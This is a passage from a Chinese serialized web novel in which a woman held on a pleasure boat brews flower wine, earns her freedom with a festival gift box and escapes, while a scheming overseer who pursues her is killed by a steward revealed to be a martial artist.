钟纯心的府邸好不容易热闹了几日,如今又冷寂下来,妇人一时间倒觉得有些不适应。 她走去一棵树下,亲手将土里埋藏的女儿红取出,坐回石凳,自顾自的倒了一杯。 曾几何时,她也满怀憧憬的学着家乡习俗,想要埋下一坛女儿红来,待到出嫁之日再打开与郎君同饮。可如今她没有郎君,只有一壶烈酒陪同。 钟纯心独饮一杯。 老管家于心不忍,做主端了些饭食过来。 “夫人,空腹饮酒,身体会吃不消的。” “陆欣冉走时可说了什么?” 钟纯心又倒一杯。 老管家哀叹了声,但又不得不如实相告,“陆夫人说,虽然这几日你精心照顾于她,可她不会感谢,下次见了你,还是会打——” 老管家把余下的话咽回肚子,不打算再说下去。 钟纯心哼了声,似是并不在意,“蠢货。” 见妇人喝下两杯面带余红,老管家便捡着她喜欢的话哄着道:“倒是褚姑娘离开前,让我给您留了话。” “她?说了什么。” 钟纯心神情好了一点。 老管家笑道:“褚姑娘人机灵,做事说话又讨喜。她让我跟您说,作为朋友好言相劝一句,还是得对自己好点。” 钟纯心听后,这下彻底绷不住笑了。 妇人单手倚着面颊,笑的眼底泛红,“朋友?谁跟她是朋友,自不量力。” 说完,抬抬下巴示意老管家,“把酒重新封起来吧,我是用不上了,或许有其他人……会用得上。” 她起身在院中慢慢踱步,溜达到埋好女儿红的树下便不在向前。 目光也不知盯在了何处。 盯了好半晌,她幽幽开口,似是自言自语说了一句:“褚朝云啊褚朝云,你可千万别叫我失望才好。” 第88章 一更 褚朝云一回来船上,就被徐香荷同其他几位船娘抱了个满怀。 大家都很想她。 不过这会儿还是早上,大家伙简单说过几句话便开始各自忙各自的。 不远处,许久不见的李婆子正倚在船头嗑瓜子,老妇瞥见是她上船,接连“呸呸呸”几声,很明显不是吐瓜子皮,而是想吐她。 如今钟管事抬举她这事越发放到了明面上。 李婆子和赵大心中不能说不恨,可钟纯心也没做什么,俩人也不敢管的太宽泛了。 从前刁氏在的时候,也会经常性的被钟纯心指派做些其他事。 这些都在管事的正常权利范围内,李婆子每每想起这个,瞪向褚朝云的目光便越发阴毒。 不过阴毒阴毒着,老妇忽的“呵呵”一笑,拍了拍手中零碎的瓜子壳,就迈着悠哉地步伐下船去了。 褚朝云怀疑她可能是精神分裂。 跟着大家伙一块干完了上午的活,中午休息时,褚朝云就跟徐香荷一起回了隔间。 她不在的这阵子,那几处生意赚得的银钱都是徐香荷再管,徐香荷把他们一起买的钱匣子打开,数了又数,美滋滋道:“快看!这里已经一百四十多两了!!” 一百四十多两里面,其中一百两还是张满春一次性付的。 所以钟纯心说的没错,她这的确是小打小闹。 “你果酒研究的怎么样了?” 褚朝云收起钱匣子,想着之前答应了柳文匡的事,便急着想要问一问。 一提起这茬,徐香荷却纠结地直挠头,“楼上吃不完的水果送下来,我便挨个放进去泡着试试,不过效果都不太好,唯独那小青梅感觉还不错,但总要泡的足够久,才知行不行……” 酿酒不是着急的事,她也知道。 可褚朝云想酿出一款女子们喜欢的酒来,所以除却酒的味道要淡雅,色泽总也要美观才行。 徐香荷说着就把床榻下藏着的酒坛拿了出来,反正也没抱什么太大希望,索性拆开封口,倒出一杯来给她看看颜色。 青梅酿出的颜色偏淡黄,也许是日子还短的缘故。 可褚朝云闻着酸涩。 浅尝一口,虽略微有那么一丝丝的甜意,但这甜味实在太淡,基本可以忽略不计了。 “不成。” 徐香荷也道:“而且颜色也不太好看,不过……我真的尽力了。” 徐香荷没能办好这个差事,虽说褚朝云并不怪她,但小姑娘自己还是难受的要命,一张小脸都垮了下去。 褚朝云见她那副呆呆地样子便觉得有趣,于是伸手点点她鼻尖,“别沮丧嘛,这次不行,下次再接再励!” “朝云,你是不是有其他主意啦?” 见褚朝云精神奕奕地,徐香荷便期盼着问。 “嗯……有点眉目,不过我需要柳老板帮我买点东西。” 她说着便把春叶给的干花挑出一些来,粉嫩的桃花瓣有一股独特的香味,总之闻起来,要比小青梅更甜一些。 褚朝云打算放弃用水果酿酒,而改用花瓣尝试。 她想起在现世时,某次同学聚会有人带了一瓶红色的酒来,同学说那是她自己酿的,用玫瑰花和冰糖泡的一种洛神酒。 不过她没有在大祁见到过玫瑰花,可梅花,桃花,桂花,月季倒是随处可见。 若这桃花酒能够顺利酿成,便可发展出一个系列的花色来试试。 打造品牌系列,总好过之前那些小打小闹吧? 对于钟纯心的不屑,她还是蛮在意的,除了心里那点该死的胜负欲,她确实很想把小生意做大一点,若真能下船,她总要有个营生才是。 酿桃花酒需要冰糖,但蔡家那边还没遇上卖甘蔗的小贩,她便只能把这事说给柳文匡听。 因为购买冰糖来酿酒成本是极高的,得柳文匡愿意才行。 褚朝云让宋谨去和柳文匡商议,没成想,第二天晚上,柳老板就亲自坐小船过来,送了她一整盒的冰糖。 “我可是特意去了趟东码头的集市,几乎把他们的糖都给包圆了。” 柳老板看到如今张满春的万春楼日进斗金,自己是怎么都坐不住的。 既然有了冰糖,褚朝云便又跟徐香荷在船上忙活起来,这次有她在身边盯着,徐香荷似乎有了底气,做起事来也不那么慌张了。 方如梅从没见过酿酒,便带着几个姐妹来凑热闹。 “朝云可真是香荷的主心骨,你不在这几天,这丫头整日里愁眉苦脸的,干活都要溜神!” 方如梅打趣起徐香荷来。 褚朝云听后却笑:“妮子可别太依赖我了,将来下了船,你总要嫁人,总要独当一面。要学着有主意一些,自己认定的事便大胆去做!” 她的鼓励看似平常,可听在大家的耳朵里,每个人却都是一声叹息。 他们好像已经习惯了事事都问褚朝云,似乎从没想过,将来下船之后或许就会跟褚朝云分开了。 不过一说到这儿,反应过激的徐香荷便直接抱住她,眼红红的嚷嚷道:“不不不,我不嫁人,我要一直跟着你,我们永远也不分开了!” 想到徐香荷家中境况,褚朝云也不忍在提那般久远之事。 毕竟,徐香荷确实已经没有家人了。 二人一块把桃花瓣和冰糖分层铺好,再倒入柳文匡拿来的一壶酒,最后将口封的严严实实,坐等成品。 自那日之后,钟纯心便没在要她去府上。 也就答应了妇人的每月一次,到时徐大徐二会来接她过去,褚朝云也是做一顿饭就很快回来。 …… 她的小生意还在按部就班的进行着,一晃,便来到了六月。 今个是桃花酒酿成的日子,一众船娘得知,便都像是有了什么天大的喜事一般,一个传一个的全跑来褚朝云房间里看。 这一坛子酒足有五斤。 柳文匡答应,若是酿成了便留给褚朝云三斤来喝。 所以大家伙多多少少也有些期待,毕竟这新奇玩意可从来都没尝到过。 徐香荷蹲在酒坛旁,褚朝云一圈一圈将封口的布条给拆下来,盖子一掀开,一股子浓郁甜蜜的桃花香便飘了满暗仓。 暗仓这阵子的味道其实已经清新不少,大家伙手里有了点钱,也能买得起洗澡用的皂角了。 夏天的时候,褚朝云还能跟徐香荷下河去游水,顺便洗澡。 但冬天,可实在下不去脚。 所以褚朝云便磨着钟纯心给他们把洗漱房改大些,让船娘们也能时不常的洗个澡,大家缺皂角了就在钟纯心那买,烧热水也是要收费的,不过倒也不差那一文两文的。 其实褚朝云知道,钟纯心收费不过是做样子给李婆子看,免得落人口实。 所以因着这一点,褚朝云也能推测的出,这条花船的三大管事之上,确实还有什么不可探知的大人物存在。 那一位,恐怕才是这里真正的主人。 这桃花酒一开封,暗仓里靡靡之香遍布,几乎惹人沉醉。 褚朝云取了些小酒盅,每人分了那么小半杯,大概只有一口的量,也不敢叫船娘们喝的太多。 方如梅是第一个尝试的,她一口豪饮下了肚,表情登时喜悦起来,“唔,这酒好甜啊!莫说是那些大家夫人小姐们,连我都想买点喝个够了!!” 旁人见她这般夸张,忙也跟着一个个饮下。 “果真清香中带甜,比他们男子喝的那种烈酒味道好多了!” “好像方婶子给我的那种香饮子,嘻嘻~” 年纪小一点的还想追着褚朝云讨要一杯,但褚朝云严格把关,不肯让他们再多喝了。 于是,这桃花酒酿成的消息不胫而走,柳文匡那里的生意很快便火爆起来,只不过酿这种酒需要三个月,所以柳老板欢欢喜喜的收到了一堆预定单子。 这其中还有刘新才和张满春的。 柳文匡一想,自己这小酒肆客流量也就那么点,便第一次大方的接了刘,张两位老板的订单,答应分他们一些去店里卖。 原本三位老哥关系时好时坏,毕竟柳文匡和张满春的原则便是“同行是冤家”。 可自从多了这一份生意的维系,倒是比从前更亲厚些。 有时三人还结伴上船来喝上几杯,除却为了照应褚惜兰他们,也是想来见见褚朝云这位合作伙伴。 他们是真心感谢褚朝云,每一次都要带许多礼盒,褚朝云自己吃不完,便会拿一些给宋谨和朱力他们,褚郁和项辰那也会叫宋谨送去一些,最后剩下的,就全部分给船娘们吃了。 六月盛夏,夜里的蝉鸣声声入耳,花船尚未到歇业时,楼上便是一派热闹景象。 从春到夏又过了三个月,徐香荷便急吼吼地将钱匣子再拿出来翻看。 查来查去,妮子的面上倒显出几分失望,“朝云,三个月下来,这些生意一共才赚得八十多两啊……距离五百两还差很远……” 褚朝云轻笑一声,和她依偎在一块,“怎么,急着让我走啊?不是一直说不想跟我分开的嘛。” “不想分开,但也不想你困在这里。” 徐香荷如今心心念念的攒那五百两,只想先给褚朝云送下船去再说。 二人坐了一会儿,方如梅便过来敲门,“朝云,我刚刚去茅房遇上惜兰姑娘,她说有事想跟你讲。” 褚惜兰这段日子也成熟不少,极少会托人喊她出去。 褚朝云本能察觉到有事,便立刻推门去了厨房,褚惜兰正站在月下来回踱步,一见到她,便跑上来耳语了几句。 “所以,你觉得她有点问题?” 她问。 褚惜兰搅着手帕,似乎也不太能拿的定主意,“我说不好……但眼下关系到你能否顺利下船,我不想在此时出了什么差错,所以才来找你商议。” 褚朝云思索片刻,“大姐姐,有时,我也是想依靠你的。” 褚惜兰因自己太过轻信三婶而害了她和褚郁,一直以来都没能完全放下,所以做事才时有瞻前顾后,尤其涉及到褚朝云的事情。 不过她这句话,却令褚惜兰醍醐灌顶。 褚惜兰知道,三妹妹还是信任自己的。 女子原地怔了半晌,最后双手握住她,眸色郑重道:“好,这一次,就让大姐姐来为你挡风遮雨!” 见褚惜兰重燃信心,褚朝云便也能够放心了。 毕竟他们之中,最先下船的无异会是她,若这些姑娘太过依赖于她,她走了之后,大家又该怎么应对接下来的局面呢。 所以褚朝云想的很明白,有时,该放手叫他们去做的,她一定要放手。 谁的成长没有风雨,重要的不是她,而是大家要学会自己去找伞来撑,而不是只把希望寄托在她的身上。 所以,关于褚惜兰刚刚提到的那件事和那个人,她这一次也不打算插手了。 夜深人静之时,褚朝云坐在船板上观河岸景色。 不多时,宋谨就划着小船过来了。 见她一手拿着小酒壶便要往小船跳,宋谨忙伸手去接,“小心些。” 宋谨的肤色雪一样白,淡青色的血管在银光下仿佛更加清晰,他五指微张,修长的手指看着虽不似朱力他们那般有力,但却很能给褚朝云安全感。 他伸手本想去接那酒壶,免得褚朝云下来会不方便。 但女子却笑盈盈地把手递给了他。 数月前褚朝云的话他还记在心中,褚朝云说自己还没想好,那他便默默地等,所以自那之后他就很注意二人间的距离,总怕自己会冒犯于她。 这是二人相处九十二天之后,他第二次握住了对方的手。 褚朝云一递过来,他立刻就攥住了。 还是不想轻易放开。 二人一同去了船舱里坐,褚朝云将透着粉的桃花酒倒了两杯,“宋谨,你喝酒吗?” 宋谨脱口,“平时不怎么喝的。” 他确实没有饮酒的习惯,哪怕他阿爹以前是经商的,没有应酬时也极少会饮酒。 褚朝云瞧见他那过分克己复礼的古板模样,便忍不住发笑:“这可是我亲手酿的,你也不打算尝尝?” “喝。” 宋谨抬头看向他,声音温润如玉:“那要喝的。” 说着,就执起酒杯一口饮下,耳尖便肉眼可见的红了起来。 第89章 一更 一杯饮下,男子的面颊很快浮上绯色。 褚朝云盯着他看了一会儿,见宋谨的状态有些许不对,便咋舌道:“不会就这一杯,就喝醉了吧?” 她呐呐自语。 哪知话还没完,眼中迷蒙的宋小哥便“扑腾”一下站了起来,褚朝云瞧着走路一步三摇晃的宋谨,也忙起身跟了上去,生怕这人一个歪斜栽到河里去。 不过宋谨虽说是醉了,可脚下还是有那么点分寸的。 到了船头,他扶着船桨站定吹风,徐徐夏风拂耳过,一点属于褚朝云身上的花香便幽幽跟了过来。 褚朝云就站在他的身后,宋谨知道的。 于是,面颊越发热起来的他脑子里忽的起了一丝冲动。 这一刻,那些所谓的君子之礼在他眼中皆如浮云,他想抱一抱褚朝云,哪怕就抱一下也好。 宋谨抬手按揉了一下太阳穴,觉得自己这样的想法太过卑劣,所以,他不能转身,就在这儿站一会儿醒醒酒便好。 接连呼出几口酒香,热度也逐渐消退了些。 只是他才缓和片刻,女子就在身后笑吟吟地喊了他。 “宋谨!” 宋谨微怔,下意识回头。 一抹温热倏地扑到他怀中,褚朝云对着男子的面颊一侧“吧嗒”就亲了一口。 褚朝云觉得宋谨这副纠结的样子有点好玩,便想调戏他一下。 正欲站回去时,却发现动弹不得。 宋谨手劲奇大,直接将她困在了自己怀里。 女子神情空白须臾,尚未反应过来,宋谨便将自己发烫的唇轻附了上来。 宋谨又醉了。 总觉得这一刻非常的不真实,像梦一样。 如果是梦,那就希望这梦能够做的久一点才好。 双唇贴在一起,很快,褚朝云的唇瓣也被捂的热了。不过宋谨显然是第一次接吻,男子气息凌乱,连抱着她的手都不知该往哪处放才对。 两片嘴唇被烫的火热,仿佛水分都被蒸干净了。 褚朝云知道自己非常破坏气氛,但还是忍不住笑了起来。 她一笑,宋谨才知刚刚发生的那一切并不是梦。 宋小哥慌乱的放开了她,面上的红却愈加的深,一张口,酒香混着花香同时游离出来,沾染了近在咫尺的空气,又重新被他吸了进去。 “抱歉……我,失态了。” 宋谨紧张的攥了攥手指,声音很轻道。 褚朝云却抱着臂,一脸坦然地看着他,“可是你才喝一杯呀~” “不是因为酒!” 宋谨飞快应道,口中的余香全是属于褚朝云的味道,许久,他再次说道:“是因为你……” …… 昨夜,月色下美妙的一幕仿佛美梦一场,褚朝云一早醒来便靠在床头发呆,她好像越来越不想等了,想立刻就下船去! 可距离跟钟纯心约定的五百两还差将近一半,她怎么才能一下子筹到那么多的钱呢? 因心中惦念此事,今个给程月做帮厨时她屡屡走神烫到手。 程月关心小徒弟,便将她拉去一旁询问。 褚朝云如实相告。 程月便无奈道:“既有这事怎么不早些告诉我,你还差多少,为师尽数帮你出了便是。” 程月是大祁有名的厨娘,家底丰厚,加之花船幕后的主人很舍得给她薪酬,程月这阵子更是攒了不少。 褚朝云听罢却一口拒绝,“不成,我哪里能要师父的钱。” 程月为收徒接连被算计,若她朝师父伸手要钱,岂不同唐淑和宗匀酌成了一丘之貉。 她绝不会这样做。 二人站在厨房里静思片然,程月眸色一亮,“我怎地忘了,过些时日便是乞巧节了,每年乞巧节花船都会推出一款乞巧礼盒,因为到了那日会有不少眷侣来船上游玩。” 程月走了几步,回头看她,“不如今年的乞巧礼盒,便交由你来做吧!” 褚朝云听得眼睛顿时睁大了些,“您是叫我去赚花船的钱?” “他们无故把你捉来出苦力,你为何不能赚他们的钱?” 程月理直气壮。 褚朝云失笑,而后也坚定无比的点了点头,“师父说的对,这次就赚他们的钱!” 二人商议好,待钟纯心上了船来,褚朝云便将钟纯心请去一旁说话,原以为还要磨些嘴皮子分析利弊,没想到妇人想都没想就拍板应了。 而这乞巧礼盒的配搭也不难想,便是用之前做过的梅花小饼和桃花酒为主,外圈在摆上炸的金黄酥脆的金缕虾。 只是那梅花小饼褚朝云这次做了改良,做了千层的卷边,看起来更漂亮,口感也更香脆。 程月帮着她一块精心准备了数日,待到乞巧节那天,便全部送去了楼上。 礼盒的包装还是她请白淼淼亲手设计的。 白淼淼艺高人胆大,直接在盒的封面上写了一个花体的“褚”字。 不过此时的大祁并没有花体字这种字体,白淼淼只是突发奇想,觉着这礼盒内的吃食和酒又有梅花又有桃花,连那金缕虾也是做成了花的形状,所以才为了应景而设计的。 钟纯心是第一个拿到礼盒的,妇人看到了上面的褚字也只是嗤笑一声,并没说什么。 乞巧节当晚,花船会营业至天亮。 夜刚过半的时候,钟纯心就叫人来通知了褚朝云,五百两的银钱赚出来了,这两日便会准许她下船去,只是有一条非常重要,不可离开蕤洲。 于是,楼上的客人们投壶抚琴吃喝玩乐,暗仓里的一众船娘得知这个消息,也都高兴的喜不自泣。 “太好了朝云,没想到这一个礼盒就赚了下船的银钱!!” “对了,那钱匣子里的银钱别忘带上,下了船你还得租院子,过日子呢!” “是啊是啊,以后想我们了就划船过来看我们,反正生意还得做下去呢,不愁见不到面!!” “放心,有你这个先例,大家伙慢慢积攒,总会攒够钱下船跟你团聚的!!!” 其中,数徐香荷跟方如梅哭的泣不成声,“走!朝云,能走一个咱们就先走一个,明个收拾了东西就赶紧的走,别回头……” 褚朝云被大家围着,心中也是五味杂陈。 她最初确实是想着帮大家也攒够银钱一块“赎身”下去,可这几日她想了很多,觉得这些想法其实只是痴心妄想。 钟纯心会允准她离开,却未必会收其他船娘的五百两。 五百两,本就是管事一时兴起的玩笑之言,而钟纯心之所以肯放她走,不过是有事叫她去做。 只不过这到底是一件什么样的事,她还不知道。 再者,即便船娘们都能顺利下船,那么幕后的主人会同意吗? 只怕到时还会有更多的女子受害,如他们一般被无辜骗来,然后在重新走一遍他们的心酸路罢了! 褚朝云知晓她是幸运的,其他船娘也一样明白,只是大家不愿去剖开来谈这个问题,至少保留一点憧憬和遐思,心中就还有希望。 褚朝云退后几步,朝着大家深深一拜。 她能攒到这些银钱,大家功不可没。 “各位婶子姐姐们,你们放心,我会想办法接你们出去的。” 褚朝云面容坚毅。 方如梅却摆手阻止道:“过好你自己的日子,别惦记这事。他们背后的势力不是咱们能触碰的,你可千万要保重自己,别走云娘的路啊!” 褚朝云没在说话,不过她还是会按照自己的想法去调查清楚这里的事,她的力量是不大,但她依然会拼尽全力。 因为,这些受难的女子也都是她的家人。 乞巧节这夜,暗仓内的女子们抱头痛哭,而楼上的一间雅间内,刚送走一波客人的于小圆便窜门到了褚惜兰那儿。 “惜兰姐姐,还忙吗?” 她推门时手肘挨了门板一下,痛的表情扭曲,不过褚惜兰回头看她时,她立刻又堆出一副笑模样来。 褚惜兰早已在镜中瞧见了她刚刚的神情,却佯装不知的请她进去。 “待会再来客人,李管事会分给其他姑娘,我还能得一会儿闲,小圆你可有事找我?” 于小圆咬的唇色泛白,面上却依旧平和的走了进去。 “想来找你说会儿话。” “坐吧。” 褚惜兰帮她倒了杯茶,又拿来点心,“给,我记得你最喜欢这里的杏仁酥。” 于小圆盯着那奶白的点心眼角濡湿,半刻,默默抓起一块放入口中。 想到自己还有正事要做,便强咽下去,装出一副笑脸来,“今年的礼盒真好吃,我看到上面有个褚字,这乞巧礼盒是……褚姐姐做的吗?” “可能吧,我也不太知道。” 褚惜兰微笑的看着她。 于小圆“嗯嗯”两声,深吸口气又没话找话,“惜兰姐姐你手帕上的花样子真好看,我看到春叶姐姐的手帕也有这种花样,那日下去上茅房,好像有位船娘也带着一个这样的,你——” “没想到小圆姑娘观察的这么仔细,倒显得我是个粗心大意的人了。” 褚惜兰截断她的话,看于小圆的神情也变冷了些。 于小圆被吓到,忙起身想走,动作慌乱间不小心碰翻了茶杯,茶水泼到衣袖,滚烫的水渗进去,她痛的顿时惊叫出声。 褚惜兰懒得在演戏,抓住她的手腕往上掀开,然后就发现了对方手臂上青一块紫一块的痕迹。 “你……” 褚惜兰心地善良,一眼就瞧出于小圆是被谁打了,虽说她已经猜到打她的是何人,但还是有点于心不忍。 褚惜兰松开了她,低低说了一声“算了”,便起身想去给她拿药膏。 于小圆见状忽然哭出了声,追着褚惜兰过去,直接就跪了下去。 “你这是做什么?给我起来!” 褚惜兰咬牙去拽她。 于小圆却呜呜的哭个没完,也不打算要起身。 褚惜兰盯了她半晌,打算把窗户纸给捅破开来,“我早先还觉得奇怪,那日李婆子逼问我三妹妹的事,为何会那么巧把我推到你所在的房间去。” “还有你。旁人被李婆子看中,至少需要教上些时日才会送来船上,可你不过几日便跟了来,且房间还被换到了我和春叶这里。” 褚惜兰气息起伏不停,撇了一眼窗外,再次说道:“于小圆,你根本就是李婆子送过来监视我们的眼线,你想知道什么?你想对三妹妹不利?我告诉你你休想,你若继续有这歹念,我褚惜兰便是跟你同归于尽,也不许你害她!!” 说着,褚惜兰不知哪里来的冲劲,一把抓起桌上花瓶便要对着于小圆砸去。 于小圆只是哭的越发伤心却不肯躲开,一副也不想活了的样子。 她死死闭着眼等着花瓶砸来,半刻,见没什么动静,才又艰难的睁开了眼,哽咽道:“救、救我……惜兰姐姐……救我……” 褚惜兰猜的不错,她的确是李婆子送过来的人。 她是李婆子的远亲,一家子都在村中干农活,跟李婆子本没有任何交集。 可自从李二达死了,李婆子伤心之余又被唐淑挑唆,便真以为是褚朝云暗中用计害了她的好侄子。 李婆子每日睁眼便会想到此事,她怎能让褚朝云还过得那般舒坦! 所以李婆子不远千里接回了于小圆,可于小圆并不符合她的心意,这姑娘太蠢了,什么都不懂还贪吃。 而于家也是又蠢又毒,因为李婆子给了二十两,有钱给家中弟弟娶媳妇,就毫不犹豫的卖了于小圆。 李婆子虽说不经常来船上,但也隐隐感知到褚朝云并不安分。 所以她叫于小圆上来查清楚,她想知道褚朝云和这些船娘是不是暗中有什么猫腻,只有知道了这些,她才能明目张胆的去杀褚朝云。 结果于小圆却跟褚朝云,褚惜兰他们交上了朋友,胳膊肘越发往外拐,气的她用鞭子狠狠抽了于小圆好几次。 那日褚惜兰告诉褚朝云于小圆不太对劲,褚朝云便懂了唐淑被拖走之前留下的话。 唐淑的最后一招棋就是李婆子。 她要用李婆子杀了自己。 今个是于小圆最后的机会,因为李婆子总觉得这事如果不快些办,她可能就再也对付不了褚朝云了。 她将于小圆逼来,可褚惜兰却早就看破了于小圆。 于小圆把这一切和盘托出,褚惜兰便叹息着放下了花瓶。 于小圆也不过是个可怜的姑娘罢了。 “我……我不知道该怎么做,但是我还不想死……她说今晚我要是再得不到什么消息,她、她就把我丢下蕤河去!” 褚惜兰缓缓坐下,陷入沉思。 她知道后日就是褚朝云下船的日子,所以决不能让李婆子成了拦路虎。 “于小圆,若你真心与我们相交……” 褚惜兰对着她耳语两句,心中也另外起了盘算,如果于小圆还是想要出卖他们,那她也绝不会手软!! …… 因为下船是偷偷进行的,所以褚朝云这两日依旧装着和平时一样,该干活干活,该做什么做什么,迷魂阵摆了一重又一重,看的李婆子眼花缭乱,心中直犯嘀咕。 而她也暗中把银钱给了宋谨,叫宋谨先帮自己去租院子。 待到晚间下船时,于小圆便急吼吼地去找了李婆子。 “什么?那个小贱人又去了钟纯心那?!” 于小圆按照褚惜兰说的回道:“大概是钟管事叫她做什么事,所以就去了。” “刚走?” “对,刚走。” 于小圆强压心跳,没什么底气的回应道。 李婆子不由得思忖,难不成这小贱人跟钟纯心背后有什么不可告人的秘密? 怪不得钟纯心那个贱妇对她那么好…… 李婆子听的心急,下了船就去往钟纯心的府邸,根本没注意褚朝云还在暗仓。 她今日非要抓个现行,看那位还要怎么护着钟纯心! 等李婆子被支开,褚朝云才从暗仓出来,于小圆过来送行,还有些担忧的拉着她的衣袖,“褚姐姐,她若知我诓她,回来非饶不了我的。” 李婆子和于小圆的事她提前知会过钟纯心,所以褚惜兰当时的那套说辞,其实也是钟纯心教的。 虽说褚朝云和褚惜兰都不知钟纯心到底要做什么,但却知听钟纯心的没错。 褚朝云叫于小圆放心。 然后趁着夜色,脚步匆匆下了船去。 她最近其实已经下来过许多次,可哪一次都没有这次心中踏实。 当她再一次踩到这片坚实的土地上,褚朝云终于闻到了风里面属于自由的气息。 她下船了。 她自由了。 远处,迷蒙夜色下,男子一抹清影站的笔直,见她出来,便伸出手,笑的温和的看向她。 褚朝云腰间挂着暖白的玉,跑起来一晃一晃的,随着宋谨一句“朝云,我来接你”,褚朝云奔向了自由,奔向了他。 第90章 元旦快乐 李婆子赶来钟纯心的府上之前,还特意调了赵大养的四名杀手。 虽说她不觉得于小圆有胆量骗她,可来的路上她也细思过一番,确实有点大意了,应该先去暗仓看看褚朝云是不是真的走了才好。 可这马上就要到门口了,又不好折返。 李婆子下了马车叫杀手们原地待命,而后便迈步上去台阶预备敲门,无论如何,今个她非要抓到那一对贱人勾结的证据不可! 老妇阴恻恻地盯着朱红大门,暂时收回了手,改用耳朵去听。 她年纪大了耳力本就差些,再加上这里是三进的院子隔得实在太远,李婆子轻喘几口气,听得不太清楚有些气恼,手便再次按到了门板上。 只是按上去还没等使力,便一个趔趄扑了进去。 大门虚掩着,并没关严。 意外闯入进来后,李婆子就感到这小院里有些许的冷,有种从炎炎夏日一脚踏入冰天雪地的反差感。 这感觉着实不妙,让她忍不住狠狠打了个哆嗦。 没人? 院子里静悄悄的。 李婆子以往也来过几次这间院子,那时还偷偷嫉妒过,为何上面那人要对钟纯心这般好,就连她和赵大都只能住在普通院子里,那人却直接给钟纯心建了个府。 想着想着,她的气又涌了上来。 既然是钟纯心自己不关门,那就别怪她要往里闯了! 李婆子回手给了杀手们一个手势,叫他们隐蔽起来,暗中跟着自己一块进去,然后就大摇大摆的往二重院落冲了过去。 得杀钟纯心和褚朝云一个措手不及才行。 等下她突然出现,定能抓个现行!! 李婆子一鼓作气,步子越迈越大,直接忽略了这院子里不正常的一切。只差临门一脚就要成功,她说什么都不会退缩的!! 她一路畅通无阻的到了二重院落,宽阔的院内入目便是一片花海。 院子里只有钟纯心一人,妇人悠悠然靠坐在石凳,拿着把梳子,正一下一下梳着自己垂在肩侧的头发。 若是再细心些,李婆子定能发现对方今日的不同。 以往钟纯心梳的都是妇人发髻,衣着也简单朴素,虽说生的容貌不错,可过分的简洁却掩盖了她本该有的风华。 但今日钟纯心梳的是未出嫁的女子发髻,她面色冷白,肤如凝脂,风霜似乎并未完全在她的脸上留下痕迹。 若她开口笑一笑,依旧艳若桃李。 钟纯心穿了一套大红色裙装,内衬的白色冰清玉洁,一双黑靴显得脚踝瘦削柔弱,她腰环玉佩,面容灵动,起身时高挑的身量显得英姿勃勃。 有那么一刻,李婆子是真的看傻了眼。 她差点以为眼前的女子并非相识十几年的妇人,而是当朝大将军那英姿飒爽的女儿了。 李婆子揉揉眼,妒恨女子的美,但也没忘了自己的正事。 “褚朝云呢!” 她凶狠地瞪来一眼,一口稀疏的牙齿都被咬的七零八落。 “她?不在我这儿。” 女子微微一笑,丢开梳子飘飘然起身,李婆子才发现,钟纯心走路时分外轻盈,像是踩在水面上跳舞。 见对方朝她缓慢走来,老妇本能就倒退了两步,底气有些不足道:“你是钟纯心?!” “有问题么?” 钟纯心站定之后,依旧是笑着的。 那怎么和以前不一样…… 李婆子在心中嘀咕。 只是她这句嘀咕没停留太久,钟纯心便又开口道:“你带人跑来我府上作何?今日若是不把话说清楚了,你可就走不了了。” 女子说话的声音越发飘渺,仿佛就贴在她的耳侧。 李婆子听得心神不宁,索性也不装了,凶相毕露:“自打褚朝云上了船你就有意无意地偏着她,钟纯心,你当我老眼昏花瞎了不成?你想做什么?赶紧把人给我交出来!” “否则——” 老妇停顿片刻,奸诈的笑出一声:“我就绑了你们送去他面前发落!!” 老妇吼得气壮山河,奈何女子眼眸眨也未眨。 钟纯心只是含着一缕笑,懒洋洋道:“你?发落我?” “你个作恶多端的老妇,就凭你也配!” 钟纯心倏然变了脸色。 李婆子警醒着又退后两步,可气势却不减分毫,“你上嘴唇一搭下嘴唇,说的真是好大的笑话!我作恶多端?沾了这条船的哪个是干净的?你恶事做了一箩筐,这会儿子倒是嫌我脏了?” 钟纯心抿唇不语,似是懒得跟她废话。 李婆子自以为占了上风,顿时掐起腰来,“咱们都是奉命做事本该互相帮衬!你倒好!胳膊肘子朝外拐!钟纯心,今日你跟我撕破脸面,来日就是闹大了,也是我老婆子来发落你!!” “既然你敬酒不吃吃罚酒,那好,那你就别怪我老婆子不饶你。” “来人,给我将她绑了!!” 李婆子吼完,神色便洋洋得意。 一声令下之后,四名杀手鬼魅般从墙头飞下,他们个个身着黑衣,一看便是被驯化的出色的杀人工具。 四人只听赵大吩咐,哪怕是钟纯心,他们也一样照抓不误。 眼见面前站着的是名弱小女子,四人便都露出一副不屑之姿,他们抬手举刀,一同向着钟纯心而去,钟纯心却只是冷哼一声,眼中毫不畏惧。 待到黑衣人靠近前来,钟纯心脚尖点地,悠悠红裙随着女子高扬而起。 钟纯心身手干脆利落,轻易夺下其中一人的刀,在半空中柔婉的转了几个圈,又落下时,四人顷刻毙命。 女子的面庞染了鲜红,裙角也被血渍弄脏,浓重的腥气却仍然盖不住这一院子的昙花。 墙角的昙花此时尚未开花,可李婆子却有一种鲜花盛放的错觉。 她怔然半晌,脚下一软直接栽倒,“你、你会武功?!” 在她眼中,钟纯心不过是比她年轻一些的妇人,女子梳着丑陋的发髻,面上的妆容也是丑陋的,个头虽高可体型偏胖,也就褚朝云会夸她貌美。 但褚朝云一定是在奉承。 那贱人惯会装模作样! 所以……这一切到底是哪里出了错,为何眼前的钟纯心摇身一变,与昔日妇人截然不同了?? 就在她思来想去理不通透之时,女子单手拖着染血的刀已到近前。 短短几步,钟纯心像是走了整整十五年。 如今她满身孽债亲手染脏了自己,大概若是被她那行侠仗义的侠盗阿爹得知,阿爹也会对她失望透顶的吧。 她钟纯心自然没那好运气做大将军的千金,但曾几何时,也是跟着阿爹阿娘走江湖劫富济贫的侠女。 她擅用剑,杀的都是该杀之人。 若非有了之后的那些荒唐事,她怎会心甘情愿将自己伪装成一名平庸妇人。 他说太年经美貌压不住旁人,她便易容,将衣裙做的厚重。 他说太心地善良成不了大事,她便褪下本原,甘愿冷漠示人。 如今她虽换回了从前的妆容,不再做那自己不愿做之事,可她这一身的孽债,恐怕永远也偿还不清了。 女子看着李婆子那死到临头都想不透彻的表情,便觉得好笑,厌恶。 刀锋挥向细碎的日光,钟纯心手起刀落,冷幽幽道:“去死吧你。” “哐啷——” 女子将刀仍在地上,畅快地抹去迸溅到睫下的鲜血,“管家,把他们丢去乱葬岗,喂狗。”- 长街一头,褚朝云和宋谨正手牵着手慢慢的逛着。 宋谨与她十指相扣,抓的紧紧地。 